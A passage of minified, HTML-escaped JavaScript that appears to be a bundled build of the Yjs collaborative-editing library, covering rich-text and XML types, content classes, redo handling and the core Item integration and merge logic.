k(R(s,L(o.store,s)),l,l&amp;&amp;l.lastId,d,d&amp;&amp;d.id,e,null,new Y(c,a)),r.right.integrate(t,0),r.forward()}}return i},Qs=(t,e,r,n,o)=&gt;{r.currentAttributes.forEach((f,h)=&gt;{o[h]===void 0&amp;&amp;(o[h]=null)});let s=t.doc,i=s.clientID;tu(r,o);let c=ru(t,e,r,o),a=n.constructor===String?new Te(n):n instanceof F?new we(n):new Ke(n),{left:u,right:l,index:d}=r;e._searchMarker&amp;&amp;dn(e._searchMarker,r.index,a.getLength()),l=new k(R(i,L(s.store,i)),u,u&amp;&amp;u.lastId,l,l&amp;&amp;l.id,e,null,a),l.integrate(t,0),r.right=l,r.index=d,r.forward(),eu(t,e,r,c)},_l=(t,e,r,n,o)=&gt;{let s=t.doc,i=s.clientID;tu(r,o);let c=ru(t,e,r,o);e:for(;r.right!==null&amp;&amp;(n&gt;0||c.size&gt;0&amp;&amp;(r.right.deleted||r.right.content.constructor===Y));){if(!r.right.deleted)switch(r.right.content.constructor){case Y:{let{key:a,value:u}=r.right.content,l=o[a];if(l!==void 0){if(lt(l,u))c.delete(a);else{if(n===0)break e;c.set(a,u)}r.right.delete(t)}else r.currentAttributes.set(a,u);break}default:n&lt;r.right.length&amp;&amp;ne(t,R(r.right.id.client,r.right.id.clock+n)),n-=r.right.length;break}r.forward()}if(n&gt;0){let a=&quot;&quot;;for(;n&gt;0;n--)a+=`
`;r.right=new k(R(i,L(s.store,i)),r.left,r.left&amp;&amp;r.left.lastId,r.right,r.right&amp;&amp;r.right.id,e,null,new Te(a)),r.right.integrate(t,0),r.forward()}eu(t,e,r,c)},nu=(t,e,r,n,o)=&gt;{let s=e,i=V();for(;s&amp;&amp;(!s.countable||s.deleted);){if(!s.deleted&amp;&amp;s.content.constructor===Y){let u=s.content;i.set(u.key,u)}s=s.right}let c=0,a=!1;for(;e!==s;){if(r===e&amp;&amp;(a=!0),!e.deleted){let u=e.content;if(u.constructor===Y){let{key:l,value:d}=u,f=n.get(l)??null;(i.get(l)!==u||f===d)&amp;&amp;(e.delete(t),c++,!a&amp;&amp;(o.get(l)??null)===d&amp;&amp;f!==d&amp;&amp;(f===null?o.delete(l):o.set(l,f))),!a&amp;&amp;!e.deleted&amp;&amp;Cr(o,u)}}e=e.right}return c},Qg=(t,e)=&gt;{for(;e&amp;&amp;e.right&amp;&amp;(e.right.deleted||!e.right.countable);)e=e.right;let r=new Set;for(;e&amp;&amp;(e.deleted||!e.countable);){if(!e.deleted&amp;&amp;e.content.constructor===Y){let n=e.content.key;r.has(n)?e.delete(t):r.add(n)}e=e.left}},ou=t=&gt;{let e=0;return D(t.doc,r=&gt;{let n=t._start,o=t._start,s=V(),i=$n(s);for(;o;)o.deleted===!1&amp;&amp;(o.content.constructor===Y?Cr(i,o.content):(e+=nu(r,n,o,s,i),s=$n(i),n=o)),o=o.right}),e},Xg=t=&gt;{let e=new Set,r=t.doc;for(let[n,o]of t.afterState.entries()){let s=t.beforeState.get(n)||0;o!==s&amp;&amp;Dl(t,r.store.clients.get(n),s,o,i=&gt;{!i.deleted&amp;&amp;i.content.constructor===Y&amp;&amp;i.constructor!==oe&amp;&amp;e.add(i.parent)})}D(r,n=&gt;{Pt(t,t.deleteSet,o=&gt;{if(o instanceof oe||!o.parent._hasFormatting||e.has(o.parent))return;let s=o.parent;o.content.constructor===Y?e.add(s):Qg(n,o)});for(let o of e)ou(o)})},Sl=(t,e,r)=&gt;{let n=r,o=$n(e.currentAttributes),s=e.right;for(;r&gt;0&amp;&amp;e.right!==null;){if(e.right.deleted===!1)switch(e.right.content.constructor){case we:case Ke:case Te:r&lt;e.right.length&amp;&amp;ne(t,R(e.right.id.client,e.right.id.clock+r)),r-=e.right.length,e.right.delete(t);break}e.forward()}s&amp;&amp;nu(t,s,e.right,o,e.currentAttributes);let i=(e.left||e.right).parent;return i._searchMarker&amp;&amp;dn(i._searchMarker,e.index,-n+r),e},ho=class extends jt{constructor(e,r,n){super(e,r),this.childListChanged=!1,this.keysChanged=new Set,n.forEach(o=&gt;{o===null?this.childListChanged=!0:this.keysChanged.add(o)})}get changes(){if(this._changes===null){let e={keys:this.keys,delta:this.delta,added:new Set,deleted:new Set};this._changes=e}return this._changes}get delta(){if(this._delta===null){let e=this.target.doc,r=[];D(e,n=&gt;{let o=new Map,s=new Map,i=this.target._start,c=null,a={},u=&quot;&quot;,l=0,d=0,f=()=&gt;{if(c!==null){let h=null;switch(c){case&quot;delete&quot;:d&gt;0&amp;&amp;(h={delete:d}),d=0;break;case&quot;insert&quot;:(typeof u==&quot;object&quot;||u.length&gt;0)&amp;&amp;(h={insert:u},o.size&gt;0&amp;&amp;(h.attributes={},o.forEach((p,g)=&gt;{p!==null&amp;&amp;(h.attributes[g]=p)}))),u=&quot;&quot;;break;case&quot;retain&quot;:l&gt;0&amp;&amp;(h={retain:l},$a(a)||(h.attributes=Fa({},a))),l=0;break}h&amp;&amp;r.push(h),c=null}};for(;i!==null;){switch(i.content.constructor){case we:case Ke:this.adds(i)?this.deletes(i)||(f(),c=&quot;insert&quot;,u=i.content.getContent()[0],f()):this.deletes(i)?(c!==&quot;delete&quot;&amp;&amp;(f(),c=&quot;delete&quot;),d+=1):i.deleted||(c!==&quot;retain&quot;&amp;&amp;(f(),c=&quot;retain&quot;),l+=1);break;case Te:this.adds(i)?this.deletes(i)||(c!==&quot;insert&quot;&amp;&amp;(f(),c=&quot;insert&quot;),u+=i.content.str):this.deletes(i)?(c!==&quot;delete&quot;&amp;&amp;(f(),c=&quot;delete&quot;),d+=i.length):i.deleted||(c!==&quot;retain&quot;&amp;&amp;(f(),c=&quot;retain&quot;),l+=i.length);break;case Y:{let{key:h,value:p}=i.content;if(this.adds(i)){if(!this.deletes(i)){let g=o.get(h)??null;lt(g,p)?p!==null&amp;&amp;i.delete(n):(c===&quot;retain&quot;&amp;&amp;f(),lt(p,s.get(h)??null)?delete a[h]:a[h]=p)}}else if(this.deletes(i)){s.set(h,p);let g=o.get(h)??null;lt(g,p)||(c===&quot;retain&quot;&amp;&amp;f(),a[h]=g)}else if(!i.deleted){s.set(h,p);let g=a[h];g!==void 0&amp;&amp;(lt(g,p)?g!==null&amp;&amp;i.delete(n):(c===&quot;retain&quot;&amp;&amp;f(),p===null?delete a[h]:a[h]=p))}i.deleted||(c===&quot;insert&quot;&amp;&amp;f(),Cr(o,i.content));break}}i=i.right}for(f();r.length&gt;0;){let h=r[r.length-1];if(h.retain!==void 0&amp;&amp;h.attributes===void 0)r.pop();else break}}),this._delta=r}return this._delta}},Sr=class t extends F{constructor(e){super(),this._pending=e!==void 0?[()=&gt;this.insert(0,e)]:[],this._searchMarker=[],this._hasFormatting=!1}get length(){return this.doc??Z(),this._length}_integrate(e,r){super._integrate(e,r);try{this._pending.forEach(n=&gt;n())}catch(n){console.error(n)}this._pending=null}_copy(){return new t}clone(){let e=new t;return e.applyDelta(this.toDelta()),e}_callObserver(e,r){super._callObserver(e,r);let n=new ho(this,e,r);_o(this,e,n),!e.local&amp;&amp;this._hasFormatting&amp;&amp;(e._needFormattingCleanup=!0)}toString(){this.doc??Z();let e=&quot;&quot;,r=this._start;for(;r!==null;)!r.deleted&amp;&amp;r.countable&amp;&amp;r.content.constructor===Te&amp;&amp;(e+=r.content.str),r=r.right;return e}toJSON(){return this.toString()}applyDelta(e,{sanitize:r=!0}={}){this.doc!==null?D(this.doc,n=&gt;{let o=new hn(null,this._start,0,new Map);for(let s=0;s&lt;e.length;s++){let i=e[s];if(i.insert!==void 0){let c=!r&amp;&amp;typeof i.insert==&quot;string&quot;&amp;&amp;s===e.length-1&amp;&amp;o.right===null&amp;&amp;i.insert.slice(-1)===`
`?i.insert.slice(0,-1):i.insert;(typeof c!=&quot;string&quot;||c.length&gt;0)&amp;&amp;Qs(n,this,o,c,i.attributes||{})}else i.retain!==void 0?_l(n,this,o,i.retain,i.attributes||{}):i.delete!==void 0&amp;&amp;Sl(n,o,i.delete)}}):this._pending.push(()=&gt;this.applyDelta(e))}toDelta(e,r,n){this.doc??Z();let o=[],s=new Map,i=this.doc,c=&quot;&quot;,a=this._start;function u(){if(c.length&gt;0){let d={},f=!1;s.forEach((p,g)=&gt;{f=!0,d[g]=p});let h={insert:c};f&amp;&amp;(h.attributes=d),o.push(h),c=&quot;&quot;}}let l=()=&gt;{for(;a!==null;){if(ct(a,e)||r!==void 0&amp;&amp;ct(a,r))switch(a.content.constructor){case Te:{let d=s.get(&quot;ychange&quot;);e!==void 0&amp;&amp;!ct(a,e)?(d===void 0||d.user!==a.id.client||d.type!==&quot;removed&quot;)&amp;&amp;(u(),s.set(&quot;ychange&quot;,n?n(&quot;removed&quot;,a.id):{type:&quot;removed&quot;})):r!==void 0&amp;&amp;!ct(a,r)?(d===void 0||d.user!==a.id.client||d.type!==&quot;added&quot;)&amp;&amp;(u(),s.set(&quot;ychange&quot;,n?n(&quot;added&quot;,a.id):{type:&quot;added&quot;})):d!==void 0&amp;&amp;(u(),s.delete(&quot;ychange&quot;)),c+=a.content.str;break}case we:case Ke:{u();let d={insert:a.content.getContent()[0]};if(s.size&gt;0){let f={};d.attributes=f,s.forEach((h,p)=&gt;{f[p]=h})}o.push(d);break}case Y:ct(a,e)&amp;&amp;(u(),Cr(s,a.content));break}a=a.right}u()};return e||r?D(i,d=&gt;{e&amp;&amp;ti(d,e),r&amp;&amp;ti(d,r),l()},&quot;cleanup&quot;):l(),o}insert(e,r,n){if(r.length&lt;=0)return;let o=this.doc;o!==null?D(o,s=&gt;{let i=to(s,this,e,!n);n||(n={},i.currentAttributes.forEach((c,a)=&gt;{n[a]=c})),Qs(s,this,i,r,n)}):this._pending.push(()=&gt;this.insert(e,r,n))}insertEmbed(e,r,n){let o=this.doc;o!==null?D(o,s=&gt;{let i=to(s,this,e,!n);Qs(s,this,i,r,n||{})}):this._pending.push(()=&gt;this.insertEmbed(e,r,n||{}))}delete(e,r){if(r===0)return;let n=this.doc;n!==null?D(n,o=&gt;{Sl(o,to(o,this,e,!0),r)}):this._pending.push(()=&gt;this.delete(e,r))}format(e,r,n){if(r===0)return;let o=this.doc;o!==null?D(o,s=&gt;{let i=to(s,this,e,!1);i.right!==null&amp;&amp;_l(s,this,i,r,n)}):this._pending.push(()=&gt;this.format(e,r,n))}removeAttribute(e){this.doc!==null?D(this.doc,r=&gt;{lo(r,this,e)}):this._pending.push(()=&gt;this.removeAttribute(e))}setAttribute(e,r){this.doc!==null?D(this.doc,n=&gt;{bi(n,this,e,r)}):this._pending.push(()=&gt;this.setAttribute(e,r))}getAttribute(e){return vi(this,e)}getAttributes(){return Ql(this)}_write(e){e.writeTypeRef(ym)}},Zg=t=&gt;new Sr,on=class{constructor(e,r=()=&gt;!0){this._filter=r,this._root=e,this._currentNode=e._start,this._firstCall=!0,e.doc??Z()}[Symbol.iterator](){return this}next(){let e=this._currentNode,r=e&amp;&amp;e.content&amp;&amp;e.content.type;if(e!==null&amp;&amp;(!this._firstCall||e.deleted||!this._filter(r)))do if(r=e.content.type,!e.deleted&amp;&amp;(r.constructor===$t||r.constructor===Gt)&amp;&amp;r._start!==null)e=r._start;else for(;e!==null;){let n=e.next;if(n!==null){e=n;break}else e.parent===this._root?e=null:e=e.parent._item}while(e!==null&amp;&amp;(e.deleted||!this._filter(e.content.type)));return this._firstCall=!1,e===null?{value:void 0,done:!0}:(this._currentNode=e,{value:e.content.type,done:!1})}},Gt=class t extends F{constructor(){super(),this._prelimContent=[]}get firstChild(){let e=this._first;return e?e.content.getContent()[0]:null}_integrate(e,r){super._integrate(e,r),this.insert(0,this._prelimContent),this._prelimContent=null}_copy(){return new t}clone(){let e=new t;return e.insert(0,this.toArray().map(r=&gt;r instanceof F?r.clone():r)),e}get length(){return this.doc??Z(),this._prelimContent===null?this._length:this._prelimContent.length}createTreeWalker(e){return new on(this,e)}querySelector(e){e=e.toUpperCase();let n=new on(this,o=&gt;o.nodeName&amp;&amp;o.nodeName.toUpperCase()===e).next();return n.done?null:n.value}querySelectorAll(e){return e=e.toUpperCase(),ve(new on(this,r=&gt;r.nodeName&amp;&amp;r.nodeName.toUpperCase()===e))}_callObserver(e,r){_o(this,e,new po(this,r,e))}toString(){return Kl(this,e=&gt;e.toString()).join(&quot;&quot;)}toJSON(){return this.toString()}toDOM(e=document,r={},n){let o=e.createDocumentFragment();return n!==void 0&amp;&amp;n._createAssociation(o,this),fn(this,s=&gt;{o.insertBefore(s.toDOM(e,r,n),null)}),o}insert(e,r){this.doc!==null?D(this.doc,n=&gt;{Wl(n,this,e,r)}):this._prelimContent.splice(e,0,...r)}insertAfter(e,r){if(this.doc!==null)D(this.doc,n=&gt;{let o=e&amp;&amp;e instanceof F?e._item:e;ao(n,this,o,r)});else{let n=this._prelimContent,o=e===null?0:n.findIndex(s=&gt;s===e)+1;if(o===0&amp;&amp;e!==null)throw ke(&quot;Reference item not found&quot;);n.splice(o,0,...r)}}delete(e,r=1){this.doc!==null?D(this.doc,n=&gt;{Jl(n,this,e,r)}):this._prelimContent.splice(e,r)}toArray(){return zl(this)}push(e){this.insert(this.length,e)}unshift(e){this.insert(0,e)}get(e){return Hl(this,e)}slice(e=0,r=this.length){return $l(this,e,r)}forEach(e){fn(this,e)}_write(e){e.writeTypeRef(wm)}},em=t=&gt;new Gt,$t=class t extends Gt{constructor(e=&quot;UNDEFINED&quot;){super(),this.nodeName=e,this._prelimAttrs=new Map}get nextSibling(){let e=this._item?this._item.next:null;return e?e.content.type:null}get prevSibling(){let e=this._item?this._item.prev:null;return e?e.content.type:null}_integrate(e,r){super._integrate(e,r),this._prelimAttrs.forEach((n,o)=&gt;{this.setAttribute(o,n)}),this._prelimAttrs=null}_copy(){return new t(this.nodeName)}clone(){let e=new t(this.nodeName),r=this.getAttributes();return Ga(r,(n,o)=&gt;{e.setAttribute(o,n)}),e.insert(0,this.toArray().map(n=&gt;n instanceof F?n.clone():n)),e}toString(){let e=this.getAttributes(),r=[],n=[];for(let c in e)n.push(c);n.sort();let o=n.length;for(let c=0;c&lt;o;c++){let a=n[c];r.push(a+&#039;=&quot;&#039;+e[a]+&#039;&quot;&#039;)}let s=this.nodeName.toLocaleLowerCase(),i=r.length&gt;0?&quot; &quot;+r.join(&quot; &quot;):&quot;&quot;;return`&lt;${s}${i}&gt;${super.toString()}&lt;/${s}&gt;`}removeAttribute(e){this.doc!==null?D(this.doc,r=&gt;{lo(r,this,e)}):this._prelimAttrs.delete(e)}setAttribute(e,r){this.doc!==null?D(this.doc,n=&gt;{bi(n,this,e,r)}):this._prelimAttrs.set(e,r)}getAttribute(e){return vi(this,e)}hasAttribute(e){return Xl(this,e)}getAttributes(e){return e?Zl(this,e):Ql(this)}toDOM(e=document,r={},n){let o=e.createElement(this.nodeName),s=this.getAttributes();for(let i in s){let c=s[i];typeof c==&quot;string&quot;&amp;&amp;o.setAttribute(i,c)}return fn(this,i=&gt;{o.appendChild(i.toDOM(e,r,n))}),n!==void 0&amp;&amp;n._createAssociation(o,this),o}_write(e){e.writeTypeRef(Em),e.writeKey(this.nodeName)}},tm=t=&gt;new $t(t.readKey()),po=class extends jt{constructor(e,r,n){super(e,n),this.childListChanged=!1,this.attributesChanged=new Set,r.forEach(o=&gt;{o===null?this.childListChanged=!0:this.attributesChanged.add(o)})}},pn=class t extends Yt{constructor(e){super(),this.hookName=e}_copy(){return new t(this.hookName)}clone(){let e=new t(this.hookName);return this.forEach((r,n)=&gt;{e.set(n,r)}),e}toDOM(e=document,r={},n){let o=r[this.hookName],s;return o!==void 0?s=o.createDom(this):s=document.createElement(this.hookName),s.setAttribute(&quot;data-yjs-hook&quot;,this.hookName),n!==void 0&amp;&amp;n._createAssociation(s,this),s}_write(e){e.writeTypeRef(_m),e.writeKey(this.hookName)}},rm=t=&gt;new pn(t.readKey()),go=class t extends Sr{get nextSibling(){let e=this._item?this._item.next:null;return e?e.content.type:null}get prevSibling(){let e=this._item?this._item.prev:null;return e?e.content.type:null}_copy(){return new t}clone(){let e=new t;return e.applyDelta(this.toDelta()),e}toDOM(e=document,r,n){let o=e.createTextNode(this.toString());return n!==void 0&amp;&amp;n._createAssociation(o,this),o}toString(){return this.toDelta().map(e=&gt;{let r=[];for(let o in e.attributes){let s=[];for(let i in e.attributes[o])s.push({key:i,value:e.attributes[o][i]});s.sort((i,c)=&gt;i.key&lt;c.key?-1:1),r.push({nodeName:o,attrs:s})}r.sort((o,s)=&gt;o.nodeName&lt;s.nodeName?-1:1);let n=&quot;&quot;;for(let o=0;o&lt;r.length;o++){let s=r[o];n+=`&lt;${s.nodeName}`;for(let i=0;i&lt;s.attrs.length;i++){let c=s.attrs[i];n+=` ${c.key}=&quot;${c.value}&quot;`}n+=&quot;&gt;&quot;}n+=e.insert;for(let o=r.length-1;o&gt;=0;o--)n+=`&lt;/${r[o].nodeName}&gt;`;return n}).join(&quot;&quot;)}toJSON(){return this.toString()}_write(e){e.writeTypeRef(Sm)}},nm=t=&gt;new go,br=class{constructor(e,r){this.id=e,this.length=r}get deleted(){throw Re()}mergeWith(e){return!1}write(e,r,n){throw Re()}integrate(e,r){throw Re()}},om=0,oe=class extends br{get deleted(){return!0}delete(){}mergeWith(e){return this.constructor!==e.constructor?!1:(this.length+=e.length,!0)}integrate(e,r){r&gt;0&amp;&amp;(this.id.clock+=r,this.length-=r),Al(e.doc.store,this)}write(e,r){e.writeInfo(om),e.writeLen(this.length-r)}getMissing(e,r){return null}},zt=class t{constructor(e){this.content=e}getLength(){return 1}getContent(){return[this.content]}isCountable(){return!0}copy(){return new t(this.content)}splice(e){throw Re()}mergeWith(e){return!1}integrate(e,r){}delete(e){}gc(e){}write(e,r){e.writeBuf(this.content)}getRef(){return 3}},sm=t=&gt;new zt(t.readBuf()),vr=class t{constructor(e){this.len=e}getLength(){return this.len}getContent(){return[]}isCountable(){return!1}copy(){return new t(this.len)}splice(e){let r=new t(this.len-e);return this.len=e,r}mergeWith(e){return this.len+=e.len,!0}integrate(e,r){cn(e.deleteSet,r.id.client,r.id.clock,this.len),r.markDeleted()}delete(e){}gc(e){}write(e,r){e.writeLen(this.len-r)}getRef(){return 1}},im=t=&gt;new vr(t.readLen()),su=(t,e)=&gt;new Me({guid:t,...e,shouldLoad:e.shouldLoad||e.autoLoad||!1}),Kt=class t{constructor(e){e._item&amp;&amp;console.error(&quot;This document was already integrated as a sub-document. You should create a second instance instead with the same guid.&quot;),this.doc=e;let r={};this.opts=r,e.gc||(r.gc=!1),e.autoLoad&amp;&amp;(r.autoLoad=!0),e.meta!==null&amp;&amp;(r.meta=e.meta)}getLength(){return 1}getContent(){return[this.doc]}isCountable(){return!0}copy(){return new t(su(this.doc.guid,this.opts))}splice(e){throw Re()}mergeWith(e){return!1}integrate(e,r){this.doc._item=r,e.subdocsAdded.add(this.doc),this.doc.shouldLoad&amp;&amp;e.subdocsLoaded.add(this.doc)}delete(e){e.subdocsAdded.has(this.doc)?e.subdocsAdded.delete(this.doc):e.subdocsRemoved.add(this.doc)}gc(e){}write(e,r){e.writeString(this.doc.guid),e.writeAny(this.opts)}getRef(){return 9}},cm=t=&gt;new Kt(su(t.readString(),t.readAny())),Ke=class t{constructor(e){this.embed=e}getLength(){return 1}getContent(){return[this.embed]}isCountable(){return!0}copy(){return new t(this.embed)}splice(e){throw Re()}mergeWith(e){return!1}integrate(e,r){}delete(e){}gc(e){}write(e,r){e.writeJSON(this.embed)}getRef(){return 5}},am=t=&gt;new Ke(t.readJSON()),Y=class t{constructor(e,r){this.key=e,this.value=r}getLength(){return 1}getContent(){return[]}isCountable(){return!1}copy(){return new t(this.key,this.value)}splice(e){throw Re()}mergeWith(e){return!1}integrate(e,r){let n=r.parent;n._searchMarker=null,n._hasFormatting=!0}delete(e){}gc(e){}write(e,r){e.writeKey(this.key),e.writeJSON(this.value)}getRef(){return 6}},lm=t=&gt;new Y(t.readKey(),t.readJSON()),gn=class t{constructor(e){this.arr=e}getLength(){return this.arr.length}getContent(){return this.arr}isCountable(){return!0}copy(){return new t(this.arr)}splice(e){let r=new t(this.arr.slice(e));return this.arr=this.arr.slice(0,e),r}mergeWith(e){return this.arr=this.arr.concat(e.arr),!0}integrate(e,r){}delete(e){}gc(e){}write(e,r){let n=this.arr.length;e.writeLen(n-r);for(let o=r;o&lt;n;o++){let s=this.arr[o];e.writeString(s===void 0?&quot;undefined&quot;:JSON.stringify(s))}}getRef(){return 2}},um=t=&gt;{let e=t.readLen(),r=[];for(let n=0;n&lt;e;n++){let o=t.readString();o===&quot;undefined&quot;?r.push(void 0):r.push(JSON.parse(o))}return new gn(r)},dm=en(&quot;node_env&quot;)===&quot;development&quot;,ft=class t{constructor(e){this.arr=e,dm&amp;&amp;Bs(e)}getLength(){return this.arr.length}getContent(){return this.arr}isCountable(){return!0}copy(){return new t(this.arr)}splice(e){let r=new t(this.arr.slice(e));return this.arr=this.arr.slice(0,e),r}mergeWith(e){return this.arr=this.arr.concat(e.arr),!0}integrate(e,r){}delete(e){}gc(e){}write(e,r){let n=this.arr.length;e.writeLen(n-r);for(let o=r;o&lt;n;o++){let s=this.arr[o];e.writeAny(s)}}getRef(){return 8}},fm=t=&gt;{let e=t.readLen(),r=[];for(let n=0;n&lt;e;n++)r.push(t.readAny());return new ft(r)},Te=class t{constructor(e){this.str=e}getLength(){return this.str.length}getContent(){return this.str.split(&quot;&quot;)}isCountable(){return!0}copy(){return new t(this.str)}splice(e){let r=new t(this.str.slice(e));this.str=this.str.slice(0,e);let n=this.str.charCodeAt(e-1);return n&gt;=55296&amp;&amp;n&lt;=56319&amp;&amp;(this.str=this.str.slice(0,e-1)+&quot;\uFFFD&quot;,r.str=&quot;\uFFFD&quot;+r.str.slice(1)),r}mergeWith(e){return this.str+=e.str,!0}integrate(e,r){}delete(e){}gc(e){}write(e,r){e.writeString(r===0?this.str:this.str.slice(r))}getRef(){return 4}},hm=t=&gt;new Te(t.readString()),pm=[Wg,Jg,Zg,tm,em,rm,nm],gm=0,mm=1,ym=2,Em=3,wm=4,_m=5,Sm=6,we=class t{constructor(e){this.type=e}getLength(){return 1}getContent(){return[this.type]}isCountable(){return!0}copy(){return new t(this.type._copy())}splice(e){throw Re()}mergeWith(e){return!1}integrate(e,r){this.type._integrate(e.doc,r)}delete(e){let r=this.type._start;for(;r!==null;)r.deleted?r.id.clock&lt;(e.beforeState.get(r.id.client)||0)&amp;&amp;e._mergeStructs.push(r):r.delete(e),r=r.right;this.type._map.forEach(n=&gt;{n.deleted?n.id.clock&lt;(e.beforeState.get(n.id.client)||0)&amp;&amp;e._mergeStructs.push(n):n.delete(e)}),e.changed.delete(this.type)}gc(e){let r=this.type._start;for(;r!==null;)r.gc(e,!0),r=r.right;this.type._start=null,this.type._map.forEach(n=&gt;{for(;n!==null;)n.gc(e,!0),n=n.left}),this.type._map=new Map}write(e,r){this.type._write(e)}getRef(){return 7}},bm=t=&gt;new we(pm[t.readTypeRef()](t)),ii=(t,e)=&gt;{let r=e,n=0,o;do n&gt;0&amp;&amp;(r=R(r.client,r.clock+n)),o=Lt(t,r),n=r.clock-o.id.clock,r=o.redone;while(r!==null&amp;&amp;o instanceof k);return{item:o,diff:n}},Ci=(t,e)=&gt;{for(;t!==null&amp;&amp;t.keep!==e;)t.keep=e,t=t.parent._item},mo=(t,e,r)=&gt;{let{client:n,clock:o}=e.id,s=new k(R(n,o+r),e,R(n,o+r-1),e.right,e.rightOrigin,e.parent,e.parentSub,e.content.splice(r));return e.deleted&amp;&amp;s.markDeleted(),e.keep&amp;&amp;(s.keep=!0),e.redone!==null&amp;&amp;(s.redone=R(e.redone.client,e.redone.clock+r)),e.right=s,s.right!==null&amp;&amp;(s.right.left=s),t._mergeStructs.push(s),s.parentSub!==null&amp;&amp;s.right===null&amp;&amp;s.parent._map.set(s.parentSub,s),e.length=r,s},bl=(t,e)=&gt;ba(t,r=&gt;Ht(r.deletions,e)),iu=(t,e,r,n,o,s)=&gt;{let i=t.doc,c=i.store,a=i.clientID,u=e.redone;if(u!==null)return ne(t,u);let l=e.parent._item,d=null,f;if(l!==null&amp;&amp;l.deleted===!0){if(l.redone===null&amp;&amp;(!r.has(l)||iu(t,l,r,n,o,s)===null))return null;for(;l.redone!==null;)l=ne(t,l.redone)}let h=l===null?e.parent:l.content.type;if(e.parentSub===null){for(d=e.left,f=e;d!==null;){let y=d;for(;y!==null&amp;&amp;y.parent._item!==l;)y=y.redone===null?null:ne(t,y.redone);if(y!==null&amp;&amp;y.parent._item===l){d=y;break}d=d.left}for(;f!==null;){let y=f;for(;y!==null&amp;&amp;y.parent._item!==l;)y=y.redone===null?null:ne(t,y.redone);if(y!==null&amp;&amp;y.parent._item===l){f=y;break}f=f.right}}else if(f=null,e.right&amp;&amp;!o){for(d=e;d!==null&amp;&amp;d.right!==null&amp;&amp;(d.right.redone||Ht(n,d.right.id)||bl(s.undoStack,d.right.id)||bl(s.redoStack,d.right.id));)for(d=d.right;d.redone;)d=ne(t,d.redone);if(d&amp;&amp;d.right!==null)return null}else d=h._map.get(e.parentSub)||null;let p=L(c,a),g=R(a,p),m=new k(g,d,d&amp;&amp;d.lastId,f,f&amp;&amp;f.id,h,e.parentSub,e.content.copy());return e.redone=g,Ci(m,!0),m.integrate(t,0),m},k=class t extends br{constructor(e,r,n,o,s,i,c,a){super(e,a.getLength()),this.origin=n,this.left=r,this.right=o,this.rightOrigin=s,this.parent=i,this.parentSub=c,this.redone=null,this.content=a,this.info=this.content.isCountable()?2:0}set marker(e){(this.info&amp;8)&gt;0!==e&amp;&amp;(this.info^=8)}get marker(){return(this.info&amp;8)&gt;0}get keep(){return(this.info&amp;1)&gt;0}set keep(e){this.keep!==e&amp;&amp;(this.info^=1)}get countable(){return(this.info&amp;2)&gt;0}get deleted(){return(this.info&amp;4)&gt;0}set deleted(e){this.deleted!==e&amp;&amp;(this.info^=4)}markDeleted(){this.info|=4}getMissing(e,r){if(this.origin&amp;&amp;this.origin.client!==this.id.client&amp;&amp;this.origin.clock&gt;=L(r,this.origin.client))return this.origin.client;if(this.rightOrigin&amp;&amp;this.rightOrigin.client!==this.id.client&amp;&amp;this.rightOrigin.clock&gt;=L(r,this.rightOrigin.client))return this.rightOrigin.client;if(this.parent&amp;&amp;this.parent.constructor===$e&amp;&amp;this.id.client!==this.parent.client&amp;&amp;this.parent.clock&gt;=L(r,this.parent.client))return this.parent.client;if(this.origin&amp;&amp;(this.left=ni(e,r,this.origin),this.origin=this.left.lastId),this.rightOrigin&amp;&amp;(this.right=ne(e,this.rightOrigin),this.rightOrigin=this.right.id),this.left&amp;&amp;this.left.constructor===oe||this.right&amp;&amp;this.right.constructor===oe)this.parent=null;else if(!this.parent)this.left&amp;&amp;this.left.constructor===t?(this.parent=this.left.parent,this.parentSub=this.left.parentSub):this.right&amp;&amp;this.right.constructor===t&amp;&amp;(this.parent=this.right.parent,this.parentSub=this.right.parentSub);else if(this.parent.constructor===$e){let n=Lt(r,this.parent);n.constructor===oe?this.parent=null:this.parent=n.content.type}return null}integrate(e,r){if(r&gt;0&amp;&amp;(this.id.clock+=r,this.left=ni(e,e.doc.store,R(this.id.client,this.id.clock-1)),this.origin=this.left.lastId,this.content=this.content.splice(r),this.length-=r),this.parent){if(!this.left&amp;&amp;(!this.right||this.right.left!==null)||this.left&amp;&amp;this.left.right!==this.right){let n=this.left,o;if(n!==null)o=n.right;else if(this.parentSub!==null)for(o=this.parent._map.get(this.parentSub)||null;o!==null&amp;&amp;o.left!==null;)o=o.left;else o=this.parent._start;let s=new Set,i=new Set;for(;o!==null&amp;&amp;o!==this.right;){if(i.add(o),s.add(o),Ut(this.origin,o.origin)){if(o.id.client&lt;this.id.client)n=o,s.clear();else if(Ut(this.rightOrigin,o.rightOrigin))break}else if(o.origin!==null&amp;&amp;i.has(Lt(e.doc.store,o.origin)))s.has(Lt(e.doc.store,o.origin))||(n=o,s.clear());else break;o=o.right}this.left=n}if(this.left!==null){let n=this.left.right;this.right=n,this.left.right=this}else{let n;if(this.parentSub!==null)for(n=this.parent._map.get(this.parentSub)||null;n!==null&amp;&amp;n.left!==null;)n=n.left;else n=this.parent._start,this.parent._start=this;this.right=n}this.right!==null?this.right.left=this:this.parentSub!==null&amp;&amp;(this.parent._map.set(this.parentSub,this),this.left!==null&amp;&amp;this.left.delete(e)),this.parentSub===null&amp;&amp;this.countable&amp;&amp;!this.deleted&amp;&amp;(this.parent._length+=this.length),Al(e.doc.store,this),this.content.integrate(e,this),gl(e,this.parent,this.parentSub),(this.parent._item!==null&amp;&amp;this.parent._item.deleted||this.parentSub!==null&amp;&amp;this.right!==null)&amp;&amp;this.delete(e)}else new oe(this.id,this.length).integrate(e,0)}get next(){let e=this.right;for(;e!==null&amp;&amp;e.deleted;)e=e.right;return e}get prev(){let e=this.left;for(;e!==null&amp;&amp;e.deleted;)e=e.left;return e}get lastId(){return this.length===1?this.id:R(this.id.client,this.id.clock+this.length-1)}mergeWith(e){if(this.constructor===e.constructor&amp;&amp;Ut(e.origin,this.lastId)&amp;&amp;this.right===e&amp;&amp;Ut(this.rightOrigin,e.rightOrigin)&amp;&amp;this.id.client===e.id.client&amp;&amp;this.id.clock+this.length===e.id.clock&amp;&amp;this.deleted===e.deleted&amp;&amp;this.redone===null&amp;&amp;e.redone===null&amp;&amp;this.content.constructor===e.content.constructor&amp;&amp;this.content.mergeWith(e.content)){let r=this.parent._searchMarker;return r&amp;&amp;r.forEach(n=&gt;{n.p===e&amp;&amp;(n.p=this,!this.deleted&amp;&amp;this.countable&amp;&amp;(n.index-=this.length))}),e.keep&amp;&amp;(this.keep=!0),this.right=e.right,this.right!==null&amp;&amp;(this.right.left=this),this.length+=e.length,!0}return!1}delete(e){if(!this.deleted){let 